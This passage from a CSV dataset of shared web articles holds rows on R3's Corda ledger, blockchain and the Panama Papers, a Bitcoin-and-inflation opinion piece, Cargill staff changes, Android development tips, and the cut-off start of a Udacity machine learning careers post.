1460058507,CONTENT SHARED,3578170066555585515,4340306774493623681,-8367890391897437730,,,,HTML,http://www.coindesk.com/9-takeaways-r3s-new-distributed-ledger-tech/,9 Big Takeaways from R3's New Distributed Ledger Debut - CoinDesk,"Following a flurry of announcements that mostly highlighted how it was working with its partner banks on trials of existing blockchain systems, consortium startup R3CEV took steps to highlight its in-house technology development this week. In a lengthy post published on both his personal blog and R3 's website, chief technology officer Richard Gendal Brown gave new details about the startup's thinking on the ecosystem, and most notably, why it is seeking a different approach with the blockchain-inspired technology it is building. Of note was that Brown spoke out against what he said was an idea he admitted he had long championed - that blockchain-based systems could prove to be widely applicable solutions for business problems in the financial services sector. Brown went so far as to call blockchains ""inappropriate"" for many banking scenarios, in remarks that were heavily deferential to the ecosystem's early innovators, including bitcoin and Ethereum . Such platforms, Brown reasoned, have emerged as novel solutions to ""business problems"", but he stressed that the financial services industry does not necessarily have the same problems that these technologies were designed to solve. At a high level, the statements add up to what can be viewed as a mission statement from R3, one that positions the startup as more than a consortium effort between 43 major banks, but as a driver of technology in the space. The statements also included the announcement of Corda , a new distributed ledger platform for which Brown provided the first details. Here are the biggest takeaways and most interesting hints about what could come next from the R3 lab: 1. R3 believes more than blockchain is needed to solve bank problems Early on in the post, Brown asserts that ""blockchain"" has become a term that is disassociated from its technological meaning. In his description of Corda, Brown labels the technology a ""distributed ledger platform"", a term that has long been associated with its technology (and that of Ripple), but that has perhaps been more strongly associated with the latter company. Still, Brown looks to distance R3 from this terminology, and emphasize his conclusion that ""blockchain"" solutions aren't going to broadly solve financial industry issues: ""Corda is a distributed ledger platform designed from the ground up to record, manage and synchronize financial agreements between regulated financial institutions. It is heavily inspired by and captures the benefits of blockchain systems, without the design choices that make blockchains inappropriate for many banking scenarios."" Brown's reasoning for the argument is that he feels this line of thinking is akin to applying technology to ""arbitrary problems"". ""Every successful project I've worked on started with the requirements, not some cool piece of technology, and I was determined to bring that discipline into our work at R3,"" he writes. Brown goes on to state that he believes the reason blockchain is important in the equation of this larger problem is ""extremely subtle"", and one that is recognized in the architecture of the Corda platform. The post also included a harsh critique of platforms that are not questioning why blockchains are needed to solve financial business problems, stating: ""If you don't have bitcoin's business problem then be very wary of those trying to sell you something that looks like a bitcoin solution."" 2. Corda uses blockchain, but is not a blockchain Though details about Corda's architecture were kept broad, Brown indicated that it uses blockchain as part of a broader package. He describes Corda as tailor-made for financial agreements. ""Our starting point is individual agreements between firms ('state objects', governed by 'contract code' and associated 'legal prose'),"" he writes. In particular, he said that Corda will use blockchain technology in an effort to show that ""two valid, but conflicting, transactions"" cannot be present in the system. Brown writes: ""We also recognize that different scenarios require different tradeoffs. So Corda's design allows for a range of 'uniqueness service' implementations, one of which is a 'traditional blockchain'."" Implicit in the statement is that there will be other options that may solve this problem, however, and that blockchain would be just one solution among a larger tool-set. 3. R3 has new definition for blockchain Brown also spent a significant portion of the post questioning the basic properties of blockchains, ultimately concluding that blockchain platforms like Ethereum and bitcoin offer five kinds of services. This observation, Brown asserts, enabled R3 to take an analytical approach to thinking about how to tweak these basic properties for the needs of financial institutions. ""The right approach is to treat them as a menu from which to select and customise... different combinations, in different flavours, for different business problems,"" he wrote. The five properties are consensus, validity, uniqueness, immutability and authentication. For each, Brown provided a basic definition, later elaborating on the specific ways that Corda is treating each in its design. In his definitions, Brown challenged the idea that consensus systems need to be open to worldwide participation, as in bitcoin, arguing that the network works this way because the business problem it tried to solve could be articulated as 'How do I create a system where nobody can stop me spending my own money?' Further, he challenged basic assumptions about how immutability in distributed ledger systems should be defined, while providing high-level overviews of each property. 4. The financial industry's problem is shared facts If Brown spoke at length about how the financial industry is not looking to solve the same problems as bitcoin, he also defined what he believes to be the underlying problem that R3, and by extension, the wider industry, should be trying to attack. The emphasis, according to Brown, should be on achieving consensus about the state of deals between individual financial firms. To achieve this, he argues Corda needed to create a digital link between ""human-language prose documents"" and smart contract code. Brown writes: ""The financial industry is pretty much defined by the agreements that exist between its firms and these firms share a common problem: the agreement is typically recorded by both parties, in different systems and very large amounts of cost are caused by the need to fix things when these different systems end up believing different things."" In this way, Brown defined Corda as an attempt to use a network to ensure that all parties in a transaction ""see the same thing"" and know that others who need to know this truth can recognize it. He went on to write that it is also important for those involved in such deals to specify upfront how agreements are made and how disputes can be resolved, adding: ""We take into the account the reality of managing financial agreements; we need more than just a consensus system. We need to make it easy to write business logic and integrate with existing code; we need to focus on interoperability. And we need to support the choreography between firms as they build up their agreements."" 5. Corda's big-picture details have emerged Though there was no white paper or code released on Corda, Brown did provide a high-level overview of how the distributed ledger system will be built based on the properties of blockchain systems he detailed earlier in the post. For example, he said Corda would seek to achieve consensus only between parties to deals, not all participants - a design element he categorized as different than public blockchains. ""This does not mean that a third party down the road also needs to see it,"" he wrote. As for validity, Corda, he said, lets users write ""validation logic"" in ""time-tested, industry-standard tools"". ""We define who needs to be in agreement on a transaction's validity on a contract-by-contract basis,"" he continued. Notably, he said that Corda's design has the most in common with existing blockchain platforms on elements such as immutability and authentication. ""Our data structures are immutable and our building block is the exchange of digitally-signed transactions,"" he notes. Though, he continued to stress that it differs through attempts to select a set of validators confirming deals on the network, and that not all validators would take part in this process. The design is perhaps not surprising given that R3 has long argued publicly that bitcoin's globally distributed network of transaction validators, while working for bitcoin and its goals, is ill-suited to the needs of financial incumbents. 6. Corda has no native cryptocurrency Consistent with its past descriptions as a ""fabric"", Brown indicated that Corda does not use its own digital asset or cryptocurrency. Of note is the modifier ""native"", which suggests that Corda may support the use of other digital assets or cryptocurrencies. Brown wrote that Corda would support a ""variety of consensus mechanisms"" a further hint that some digital tokens may present or allowed to be used in its ledger system. 7. R3 has bitcoin on the mind Perhaps the most interesting takeaway from the piece given R3's market positioning was Brown's clear deference to bitcoin's architecture, which he termed a ""marvel"". ""Its interlocking components are one of those rare examples of something so elegant that they seem obvious in hindsight, yet which required a rare genius to create,"" he wrote. Brown even characterized bitcoin as a solution to a ""business problem"", albeit one he suggested isn't one shared by major financial institutions or that they would perhaps even articulate as a business problem. In this light, Brown discussed bitcoin's use of a blockchain as a product of its goals, a similar logic that he used to speak out about why this type of architecture might not be needed to solve issues major financial institutions are experiencing. Notably, former bitcoin developer Mike Hearn is also leading the effort on Corda, serving as its lead platform engineer. 8. Regulators are included in the Corda ledger Brown indicated that Corda is also being designed to accommodate global regulators who may want insight into the transactions occurring within distributed ledger frameworks. ""Corda's design directly enables regulatory and supervisory observer nodes,"" Brown indicated early on in the text. Later, he returns to this idea, noting that financial institutions using Corda will be able to know that their counterparties and regulators have received any information they can view. 9. Corda doesn't compete with other blockchains Despite spending a length of time describing how Corda is similar and dissimilar from other systems, Brown sought to frame it as unique. The positioning found Brown offering praise for the innovation ongoing in the distributed ledger and blockchain space as a whole, even if he expressed a disdain for firms that were perhaps approaching the industry opportunistically. Brown said that he as been ""deeply impressed"" by engineering solutions from other providers, and that R3 will continue to pursue projects that showcase the benefits or shortcomings of these systems in order to provide market information. ""Corda does not seek to compete with or overlap with what other firms are doing: indeed, we are building it because no other platform out there seeks to solve the problems we're addressing,"" he wrote. He concluded: ""Different solutions for different problems is our mantra."" Lightbulb image via Shutterstock",en
1460058529,CONTENT SHARED,687641199951066750,4340306774493623681,-8367890391897437730,,,,HTML,http://cointelegraph.com/news/could-blockchain-have-protected-the-bosses-implicated-in-the-panama-papers,Could Blockchain Have Protected the Bosses Implicated in the Panama Papers?,"A huge cache of internal files of the Panama-based law firm Mossack Fonseca (which specializes in creating shell companies) has been leaked, embarassing multiple world leaders and resulting in calls for their resignation. Could a blockchain-based system have fared better at protecting the privacy of its users? The release of the Panama Papers (11.5 million documents, covering 214K offshore entities, over a 40 year period) is a very big development, no matter how much various world leaders try to downplay it. Governments will act on the information which is now in the public domain, although this information might have been leaked illegally. Leaks of such magnitude pose the question - would a blockchain based ownership system be more secure in protecting the privacy of its users? According to Jerry Cumo, IBM VP - Blockchain Technologies, while the blockchain creates trustworthy and efficient technologies, the core technology must be further adapted to further address security and privacy concerns. He refers to this as an 'enterprise-ready blockchain'. IBM, which is at the forefront of Linux's Hyperledger Project, is working on furthering blockchain applications . An identity management system has been implemented by cryptographers at IBM Labs, whose capabilities include user transactional privacy (anonymity and unlinkability of transactions). Privacy controls implemented in smart contracts precisely specify who can view them. Once these applications are commercialized, we can expect a sea change in how secure records are stored. The existence of tax havens and confidential ownership of companies is a reality, whether other countries across the world like it or not. If law firms like Mossack Fonseca had implemented secure, blockchain-based solutions, a disgruntled employee / hacker could not have been able to reveal such detailed records of its users. While improved privacy is just one feature of blockchain-based solutions, there are multiple other advantages including cost-savings, improvement in settlement times and lower fraud as well as forgery risk.",en
1460058551,CONTENT SHARED,-1911407455198985777,4340306774493623681,-8367890391897437730,,,,HTML,https://bitcoinmagazine.com/articles/how-inflation-is-stealing-your-money-can-cryptocurrency-solve-inflation-on-a-global-scale-1460046617,How Inflation Is Stealing Your Money: Can Cryptocurrency Solve Inflation on a Global Scale?,"This is a guest post by Chris Pardo and the opinions expressed are those of the author and don't represent the views of Bitcoin Magazine or BTC Media. Inflation is one of those read-the-small-print kind of taxes that people don't often think about even though it can have a major impact on their finances and, thereby, on their lives. Rising long-term inflation is more insidious than you might think because it can steadily and most assuredly decrease the value of your earnings/savings - especially, if your taxes aren't indexed to compensate you for the cost of inflation. Inflation has always been the bane of many businesses and individuals alike. One thing is clear: something needs to be done. If cryptocurrency, perhaps Bitcoin, was globally accepted as the world's reserve currency, how well could it manage inflation and provide transparency compared to the U.S. dollar, arguably the world's primary reserve currency ? The world of fiat currency seems straightforward enough: Delegate monetary policy to those elected officials most capable of keeping a standardized and stable medium of exchange going. In practice, however, things get complicated, and often the policies and the mechanisms to carry out the policies are convoluted and not as transparent as they could be. For example, the Federal Reserve System (the Fed) attempts to manage inflation by using open market operations , the discount rate , and reserve requirements , but this monetary system has not been able to reduce long-term inflation. Much of this instability in the money supply is due largely to the practice of fractional-reserve banking/lending by commercial banks and lenders and the Fed's imprecise, volatile way of increasing and decreasing the money supply by using bond transactions, discount rates and reserve requirements, which ultimately swings the economy and the money supply exponentially upwards or downwards. With the current monetary system, regardless of how well the Fed tries to plan bond transactions, discount rates and reserve requirements to regulate the money supply, the practice of fractional-reserve banking/lending exponentially compounds the effects produced in response to even the slightest changes made to the money supply using the Fed's three primary monetary tools. Currently the Fed's policy on fractional-reserves requires banks and lenders only to keep meager reserves ranging from 0 to 10 percent, which allows banks to create upwards of 90 percent of their money out of thin air. Think back to the movie ""Dumb and Dumber"" with the suitcase once flush full of cash that Lloyd and Harry plan on returning to its owner - but they later ended up spending most of the money - leaving behind a pile of napkin IOUs instead. Our current situation is similar to this, but worse; the banks/lenders create upwards of 90 percent of their money by printing digital bank IOUs without there being any cash, ""special"" Treasury Department/Federal Reserve IOUs , to back up all of the commercial banks'/lenders' funds to begin with. Also, the fact that banks can charge interest on monies created through this process and often require people to pledge real , tangible assets as collateral for these bank IOUs is another issue altogether. But for the purposes of this discussion, the volatility created through managing money in this way seems to ultimately result in rising long-term inflation. In addition, considering the dollar is the primary world-reserve currency, this status creates a unique situation that allows the United States to print excess reserves beyond its domestic needs to help supply the international demand. The excess reserves created in this process can, in turn, potentially distort the very indexes used by the Fed to help manage the money supply, thereby creating a fairly unstable system for managing inflation in the long run. Perhaps it is time to transition to an alternative medium of exchange that is more transparent and effectively manages short- and long-term inflation. Cryptocurrency may be a solution to regain the value of our savings/earnings on a global scale. If Bitcoin were accepted as the world's reserve currency, this could potentially create an environment that could curb inflation and introduce a moderate amount of favorable deflation until all 21 million bitcoin are eventually minted. In fact, a small amount of deflation can actually be a good thing - as suggested by the Friedman rule - and bitcoin would be deflationary until the fixed number of coins are finally minted over the course of time. Because Bitcoin is gradually minted at decreasing fixed rates determined every four years, it creates a deflationary effect, despite there actually being an increase in the money supply during this time which most traditional economists would recognize as a condition of inflation. But it is this fixed money supply that has the potential to move society forward as quickly as the original token system did that moved us out of the barter economy to something more efficient. After all the bitcoins are created, the only way for the deflationary effect to continue is if bitcoins are lost or destroyed, but the amount of bitcoins removed in this way would likely be minimal. Again, with our Bitcoin example, the Bitcoin cryptocurrency approaches the currency distribution and management problem by codifying the rules in a mandatory consensus manner; the rules cannot be changed unless the majority of people decide to voluntarily run the new version of the Bitcoin protocol. Put simply, the people who secure the Bitcoin network, the ""miners,"" and use bitcoin to exchange goods and services, can each decide which version of the Bitcoin program they want to run. If people decide they don't agree with the latest changes made to the Bitcoin protocol, they can run the version of the protocol that has the features they agree with, and the world will continue to do business as usual. In a sense, it's a form of direct democracy: Votes are cast through the sheer action of choosing which version of the Bitcoin program to run. In Bitcoin and other open-source cryptocurrencies, zero will never equal one; the software code can be audited at any time, creating an unrivaled level of transparency on the mechanisms of monetary policy. Cryptocurrencies that have a finite money supply have the potential to become a safe haven that staves off long-term inflation for good, offering a new alternative to how people actually do savings and business.",en
1460076992,CONTENT SHARED,-5679427141235752819,-1443636648652872475,4282110156146973393,,,,HTML,https://research.google.com/teams/brain/,Research at Google,"Google Brain team members set their own agenda, choosing between doing more basic, methodological research or more applied research as necessary to produce the most compelling results. Our portfolio of projects spans different time horizons and levels of risk, from applications just out of reach of existing capabilities to longer-term explorations.",en
1460078877,CONTENT SHARED,1120323498091467525,-5264754785175108362,7229878270957215993,,,,HTML,http://dinheirorural.com.br/noticia/agrocarreira/cargill-anuncia-mudancas-estrategicas-para-fortalecer-marca-nutron,Cargill anuncia mudanças estratégicas para fortalecer a marca Nutron,"A Cargill Nutrição Animal, representada no Brasil pela marca Nutron, anuncia mudanças para fortalecer as estratégias de negócios da empresa e o relacionamento com os clientes. A marca de nutrição animal da empresa no País desenvolve núcleos, premixes e especialidades para os segmentos de aves, suínos, peixes, pets, bovinos de leite e de corte e suplementos para criação de gado a pasto. No novo arranjo, Hudson Castro deixa a gerência de gado de corte e passa a exercer o cargo de gerente de pricing. Trata-se de uma posição estratégica em que o executivo, há 12 anos na companhia, tem como desafio dobrar o negócio da companhia até 2020. Em seu antigo cargo assume Pedro Terencio como o novo gerente nacional de gado de corte. Sua trajetória começou na Cargill em 2005 como estagiário, depois assumiu a coordenação técnica, consultoria, gerência estratégica de tecnologias para América Latina, até chegar ao comando nacional. Terencio é formado em Medicina Veterinária pela USP (Universidade de São Paulo), com MBA em Gerenciamento de Projetos pela FGV (Fundação Getulio Vargas) e especialização em Nutrição Animal pela ESALQ/USP (Escola Superior de Agricultura Luiz de Queiroz da Universidade de São Paulo). ""Estou muito motivado com este novo desafio de atuar com a equipe nacional e identificar novas oportunidades de negócios pelo Brasil para a Cargill"", declara Terencio. Outra novidade foi a nomeação de Julio Carvalho que deixa a gerência de produtos para assumir a nova função de gerente nacional de aditivos. Desde 2009 na Cargill, Julio é formado em Zootecnia pela UFLA (Universidade Federal de Lavras), com mestrado e doutorado em Nutrição de Monogástricos também pela UFLA. ""Tenho a missão de contribuir com o desenvolvimento do mercado de aditivos e principalmente em investir em tecnologias que auxiliem e melhorem a sustentabilidade do produtor. O sucesso do produtor nos negócios contribui com a evolução do agronegócio no Brasil"", afirma. Luciano Vieira deixa a coordenação técnica para atuar como gerente regional de suínos em Santa Catarina e Rio Grande do Sul. Vieira é formado em Medicina Veterinária pela Udesc (Centro de Ciências Agroveterinárias) e pós-graduação em Sanidade de Suínos pela Unoesc (Universidade do Oeste de Santa Catarina). Também houve a contratação do novo gerente regional de bovino de corte, Marcelo Furtado, graduado em Medicina Veterinária pela Universidade Federal de Uberlândia, pós-graduado em Produção de Ruminantes pela ESALQ/USP, MBA em Gestão Estratégica do Agronegócio pela FGV e MDA também pela ESALQ/USP. Rodrigo Goulart também passa a integrar a equipe da Cargill como consultor técnico e tem como desafio apoiar a companhia no desenvolvimento do mercado de gado de corte. O novo profissional é graduado em Medicina Veterinária pela Universidade Federal de Uberlândia, mestre em Ciência Animal e Pastagem pela ESALQ/USP (Escola Superior de Agricultura Luiz de Queiroz da Universidade de São Paulo), e doutor em Ciência Animal também pela ESALQ/USP. E para completar o time Henrique Braga Oliveira assume como gerente regional de aves no Norte do País. Há dois anos na companhia, ele é formado em Zootecnia pela Universidade Federal de Lavras (UFLA), com mestrado em Nutrição de Monogástricos também pela UFLA. Fonte: Ascom.",pt
1460082416,CONTENT SHARED,-7833921387228274142,3302556033962996625,1555081733017072452,,,,HTML,http://balpha.de/2013/07/android-development-what-i-wish-i-had-known-earlier/,Android development: What I wish I had known earlier - balpha.de,"At the beginning of the year, I jumped from web development to Android development because of this . Both Java in general and programming for Android in particular were totally new for me (and everyone else on the team who jumped with me). In fact, one of the first things I did was adding something back to Java that I was really missing very quickly after having worked with C# for a long time: the var keyword. Half a year later I've learned a lot, and there are quite a few things I know today that I would have loved to know back then. By no means is this a ""Beginning Android"" tutorial or a list of all things you need to know. And I'm obviously still lightyears away from being able to call myself an Android pro. But these are some tips that would have been great back then, when I knew even less . So here's hoping that they may help others as well. I've tried to order them from most to least likely to be relevant to others. As always, I may be wrong. Embrace the source This is something I did from the start, so not actually of the category ""I wish someone had told me,"" but it deserves to be said anyway. Android is open source, so if you're trying to track down some weird behavior or understand the underpinnings of what's going on, just look at the source code! For the most part, it's very readable code, and sooner or later you'll feel quite comfortable skimming it, even if you don't understand every last detail. Personally I use the GitHub mirrors of the core framework and the v4 support library , because GitHub lends itself quite well for browsing, and its code search has come in handy a bunch of times as well. Assume things make sense For someone coming in fresh to Android development, quite a few things look weird and different. It doesn't help that there are often inconsistencies like Should I override onSomething() ? Or does this class have setOnSomethingListener() ? Or addOnSomethingListener() , so there can be multiple? Or any combination of the above? and that the quality of documentation out there is, let's say, very heterogeneous. This makes it easy to just say ""Meh, I'll just do it the way I've always done it,"" and use ugly hacks to shoehorn your approach into your code. The next two sections give some examples of this, but it's worth to keep in mind in general: Chances are that Android actually has a way of solving the problem you're having, it may just look different to what you're expecting. setArguments() vs. custom constructors, startActivityForResult() instead of return values, onSaveInstanceState() vs. global variables, et cetera. More often then not, there may be good reasons for the differences, for example to accommodate the asynchronous RPC nature of activities, which may seem strange but has a lot of plus sides. So when you feel you're working against the framework, take a step back and look for a different way to solve the same problem. It may exist, and using it may save you from wanting to rip your hair out six months later. Your application is not immortal If you load some data in your launcher activity and then store it on your application object (statically or not), you're in for a surprise. Unfortunately, a great many people on the internet will tell you to do just that. But it's entirely possible - and likely - that at some point your app gets moved to the background, Android kills the process to make room for other apps the user is interacting with, and then later the user returns to your app, and Android restores your full back stack of activities to the state in which the user left it. If you now expect to have the cached data on your application object (after all, the user is deep inside your app), your app will probably crash with a NullPointerException. I'll leave the details to Developer Phil's excellent post . Read it. A great way to test your app's behavior when the process is killed and restarted, at least in new Android versions that have this option, is this: In the advanced developer settings, you can change the number of background processes. Set this to ""no background processes"", then play with your app for a bit. Then press the home button and open, say, the browser. Leave the browser again and via ""recents"" go back to your app, and you'll see how it handles being restarted. Just remember to turn off this developer setting when you're done, because it eats battery like crazy and can cause your phone to overheat. Fragments Fragments were introduced in Android 3, a.k.a. Honeycomb. That's no coincidence; Honeycomb was tailored specifically for tablets, and the raison d'être for fragments is the possibility to create user interface elements that can exist both more or less on their own (e.g. on phones, where there's not a lot of space), and as part of a larger interface (e.g. on tablets, where there's enough space to show a list of articles and the article itself at the same time). There's a joke in here about the fragmented Android ecosystem, but I'm not one to make bad puns . Fragments are really a light flavor of activities. The problem with this is that it looks like you have to make a choice: Should I use several fragments in a single activity for task X, or should I use several activities? The answer when just starting out with Android development is ""use activites."" It takes a while to wrap your head around the various concepts that Android introduces. Intents, intent flags, activities, tasks, backstack, lifecycles of various components, and so on: As a beginner, when these things haven't fallen into place yet for you, chances are you'll unconsciously make a lot of assumptions, and that many of these assumptions are wrong. Fragments are yet another element in this bucket of new stuff that you're learning. And because fragments behave a lot like activites, you'll treat them like they're pretty much the same thing, because all the details aren't clear to you yet. And then at some point, these details are going to bite you, hard. A few examples: A fragment's lifecycle is similar to an activity's, but there are subtle differences. And since you're only learning about the lifecycles, having two similar but slightly different things to learn at the same time is bound to cause confusion. Fragments inside an activity have their own back stack; it's a sub-back stack if you will. But while launch modes and intent flags give you a lot of flexibility with managing the ""real"" back stack, the fragment manager's back stack inside a single activity is harder to manage and (even) more opaque. You may not notice this at the beginning, but later when refining your app's back button user experience, this may cause difficulties. Fragments do a lot of magic when recreating themselves (e.g. when a user returns to your app after a longer time). This magic is probably helpful once you're used to everything, but at the beginning where you're just trying to understand this whole new way of developing apps, it's much easier to have things be explicit. If a view hierarchy is restored automatically that sounds like a great thing, but if this restoration has subtle rules in order to work correctly, and the restoration happens at unexpected times, then you'll wish there was less magic going on. Compared to activities, fragments feel a lot more like ""normal"" Java objects. This can seduce you into handling them as such - custom constructor signatures on fragments, holding references and passing them around freely, etc. But when the fragment manager suddenly re -instantiates your fragment and never calls the custom constructor, and somewhere in your code you hold a reference to the previous version of the fragment, all of that breaks down. When juggling activities on the other hand, it's much easier to see that they are something special that you have to work with in the special Android ways, and not treat them like any random POJO. So: I would advise to start with activites only. Once you're more familiar with the Android way of doing things, and want to improve your app's behavior on tablets, by all means have a look at fragments. But don't try to learn riding a bicycle and a unicycle at the same time. Propagation of events At some point you'll probably have to handle touch events yourself, and can't rely on the correct onSomethingListener to be available. I had to do such a thing, and what I would've loved to have is a simple post somewhere explaining how touch events propagate through the view hierarchy. Of course you need more than just the simple version eventually, but it would've been a great starting point to go from and then to fill in the details. Here's my try. It looks a bit long-ish, but that's because I'm really going step-by-step. The assumptions We'll only look at the most important events (actually, actions): DOWN, MOVE, UP, and CANCEL. A gesture is a series of events beginning with a single DOWN event when the user touches the screen, zero or more MOVE events when the user moves the finger around, and a single UP or CANCEL event, when the user releases the screen or the system tells you that the gesture is over for some other reason. When I talk about ""the rest of this gesture"" I mean all subsequent MOVE events and the final UP or CANCEL event. I'm also ignoring multi-touch gestures here (we just assume a single finger) and the fact that multiple MOVE events can be grouped. Finally, we'll assume none of the views has an onTouchListener registered. This is the view hierarchy that we'll be looking at, ignoring the possibility of overlapping views. There's an outer ViewGroup A, which has one or several children, including ViewGroup B. This ViewGroup B in turn has children, including a View C which is not a ViewGroup. The point marked as ""touch"" is the point where the user first touches the screen, i.e. it's the point of the DOWN event. The user then moves the finger around and finally releases it. It does not matter if they leave the area of View C at some point; what counts is where the gesture started. The default case Assuming that none of our Views override the default event handling behavior, this is what happens: The DOWN event is passed to View C's onTouchEvent method. This method returns false , meaning ""I don't care about this gesture."" Because of this, the DOWN event is passed to ViewGroup B's onTouchEvent method, which doesn't care about the gesture either and thus returns false as well. Same thing: Because ViewGroup B didn't care, the event is now passed to ViewGroup A's onTouchEvent , which also returns false . Because none of the Views cared about the event, they will not receive any events from the rest of this gesture. Handling the event Now let's assume that View C actually does care about the event, maybe because it was set to be clickable, or because you implemented a custom onTouchEvent . The DOWN event is passed to View C's onTouchEvent which does whatever it needs to do, and then returns true . Because View C says it's handling the gesture, the event is not passed do ViewGroup B's nor ViewGroup A's onTouchEvent methods. Because View C says it's handling the gesture, the events from the rest of this gesture will also be passed to View C's onTouchEvent method. It doesn't actually matter what the method returns from these subsequent calls, but for consistency it should probably be true . onInterceptTouchEvent We will talk about a new method now: onInterceptTouchEvent , which only exists on ViewGroup objects, not on regular views. Before the onTouchEvent is called on any View, all its ancestors are first given the chance to intercept this event. In other words, they can steal it. We've left this out previously, so lets revisit the section ""Handling the event"", and include these calls: The DOWN event is passed to ViewGroup A's onInterceptTouchEvent , which returns false , meaning it doesn't want to intercept. The event is then passed to ViewGroup B's onInterceptTouchEvent , which doesn't want to intercept either and returns false as well. Now the DOWN event is passed to View C's onTouchEvent which returns true because it handles the event.&ast; Now comes the next event of this gesture. This MOVE event is again passed to ViewGroup A's onInterceptTouchEvent , which again returns false. Same for ViewGroup B. Then it is passed to View C's onTouchEvent , just like in the previous section. The same game continues for the rest of this gesture, assuming A and B continue to return false from onInterceptTouchEvent . Note that even though the ViewGroups returned false previously, the onInterceptTouchEvent method is still called for subsequent events. In that sense, the method's behavior is different from onTouchEvent . &ast; If View C's onTouchEvent returned false here, things would continue like in the ""default case"" section - even though the ViewGroups said they didn't want to intercept, they would still receive the event in onTouchEvent because the child didn't handle it. Intercepting the event Now let's take it one step further and say that ViewGroup B does not intercept the DOWN event, but it does intercept the next MOVE event. A reason for this could be that ViewGroup B is a scrolling view. If the user just taps inside it, whatever element is being clicked should be able to handle it. But once the user moves the finger a certain distance, it's not a click anymore - they clearly want to scroll. And that's why the ViewGroup takes over the gesture. Here's the order of things: The DOWN event is passed to ViewGroup A's onInterceptTouchEvent , which returns false . The event is then passed to ViewGroup B's onInterceptTouchEvent , which doesn't want to intercept yet and returns false as well. View C's onTouchEvent returns true . In comes the MOVE event. ViewGroup A's onInterceptTouchEvent still returns false . ViewGroup B's onInterceptTouchEvent receives the event, and notices that the user has moved the finger beyond a certain threshold (or ""slop"" in Android parlance). Thus it decides to take over this gesture by returning true. The event is changed from a MOVE event to a CANCEL event, and this changed event is given to View C's onTouchEvent . Now comes the next MOVE event. It's passed to ViewGroup A's onInterceptTouchEvent which continues to not care and returns false . The event is not passed to ViewGroup B's onInterceptTouchEvent . As soon as you return true from this method once, it won't be called again. Instead, the event is passed to ViewGroup B's onTouchEvent , as will the remaining events of this gesture (unless ViewGroup A decides to intercept after all). View C will not receive any more events from this gesture. A little thing that may be surprising is the following: If a ViewGroup intercepts the initial DOWN event, this event will also be passed to the ViewGroup's onTouchEvent . On the other hand, if the ViewGroup only intercepts a later (say, MOVE) event, this event will be changed to a CANCEL event and passed to the child that handled this gesture previously, but will not be passed (neither as a MOVE nor as a CANCEL event) to the ViewGroup's onTouchEvent . Only the then-next event will end up there. One to keep in mind. From here on you can go even further. There is, for example, the mouthful-method requestDisallowInterceptTouchEvent with which View C could have prevented ViewGroup B from stealing the event. And if you really want to go crazy, you can override dispatchTouchEvent on your own ViewGroup implementations and do whatever you want to with the events that come in. You may be breaking a few expectations though, so be careful. Finally, there's of course more than just touch events; who knows if your app may one day run on a device that doesn't even have a touch screen? But this is another story and shall be told another time. In closing Alright, that's it. Since this is just a list of a few things, there's no real conclusion here; let me just say that I've really come to enjoy Android development. It's a lot of fun once you get a general feeling of how things go. And I'm certainly not done learning yet. previous post: Plain text considered harmful: A cross-domain exploit next post: Catastrophic backtracking: When regular expressions explode",en
1460082675,CONTENT SHARED,-587747935064273401,3302556033962996625,1555081733017072452,,,,HTML,http://www.developerphil.com/dont-store-data-in-the-application-object/,Don't Store Data in the Application Object,"There is always some information that is needed in many places in your app. It can be a session token, the result of an expensive computation, etc. It is often tempting to avoid the overhead of passing objects between activities or keeping those in persistent storage . A pattern that is sometimes suggested is to dump your data in the Application object with the idea that it will be available across all activities. This solution is simple, elegant and... totally wrong. If you assume that your data will stay there, your application will eventually crash with a NullPointerException. A Simple Test Case The Code The Application object: The first activity, where we store the name of the user in the application object: The second activity, where we shout the name of the user: The Scenario The user starts the app. In WhatIsYourNameActivity , you ask for the name of the user and you store it in MyApplication . In GreetLoudlyActivity , you fetch the user's name from the MyApplication object and display it. The user leaves the app using the home button. A few hours later, Android silently kills the app to reclaim some memory. So far, so good! But here comes the crashy part... The user reopens the app. Android creates a new MyApplication instance and restores GreetLoudlyActivity . GreetLoudlyActivity fetches the user's name, which is now null, and crashes with a NullPointerException. Why Does it Crash? In this sample, we crash because the Application object is brand new, so the name variable is null, leading to a NullPointerException when we call String#toUpperCase() on it. Which brings us to the core of the problem: The application object will not stay in memory forever, it will get killed. Contrary to popular belief, the app won't be restarted from scratch. Android will create a new Application object and start the activity where the user was before to give the illusion that the application was never killed in the first place. Which means that if you expect some data to be in your application object just because your user is not supposed to be able to open activity B before activity A, you are in for a crashy surprise. What Are The Alternatives There is no magic solution here, you can do one of the following: Explicitly pass the data to the Activity through the intent. Use one of the many ways to persist the data to disk. Always do a null-check and handle it manually. How To Simulate The Application Being Killed EDIT: As pointed out by Daniel Lew , an easier way to kill your app is to simply use the ""Stop Process"" feature in DDMS. This will work on any phone as long as your application is debuggable.** To test this, you must use an emulator or a rooted phone. Exit your app using the home button. In a terminal: Now return to the app using the task switcher. You are now on a new application instance. The Bottom Line Storing data in the application object is error prone and can crash your app. Prefer storing your global data on disk if it is really needed later or explicitly pass it to your activity in the intent's extras. Also remember that while this is true for the application object, it is also true for any singleton or public static field that you might have in your app.",en
1460109303,CONTENT SHARED,2220561310072186802,-1443636648652872475,4282110156146973393,,,,HTML,http://blog.udacity.com/2016/04/5-skills-you-need-to-become-a-machine-learning-engineer.html,5 Skills You Need to Become a Machine Learning Engineer | Udacity,"Interested in Machine Learning? You are not alone! More people are getting interested in Machine Learning every day. In fact, you'd be hard pressed to find a field generating more buzz these days than this one. Machine Learning's inroads into our collective consciousness have been both history making (as when won 4 of 5 Go matches against the world's best Go player!) and hysterical ( Machine Learning Algorithm Identifies Tweets Sent Under The Influence Of Alcohol ), but regardless how you discovered it, one thing is clear: Machine Learning has arrived. That said, it's one thing to get interested in Machine Learning, it's another thing altogether to actually start working in the field. This post will help you understand both the overall mindset and the specific skills you'll need to start working as a Machine Learning engineer. To begin, there are two very important things that you should understand if you're considering a career as a Machine Learning engineer. First, it's not a ""pure"" academic role. You don't necessarily have to have a research or academic background. Second, it's not enough to have either software engineering or data science experience. You ideally need both. Data Analyst vs. Machine Learning Engineer It's also critical to understand the differences between a Data Analyst and a Machine Learning engineer. In simplest form, the key distinction has to do with the end goal. As a Data Analyst, you're analyzing data in order to tell a story, and to produce actionable insights. The emphasis is on dissemination-charts, models, visualizations. The analysis is performed and presented by human beings, to other human beings who may then go on to make business decisions based on what's been presented. This is especially important to note-the ""audience"" for your output is human. As a Machine Learning engineer, on the other hand, your final ""output"" is working software (not the analyses or visualizations that you may have to create along the way), and your ""audience"" for this output often consists of other software components that run autonomously with minimal 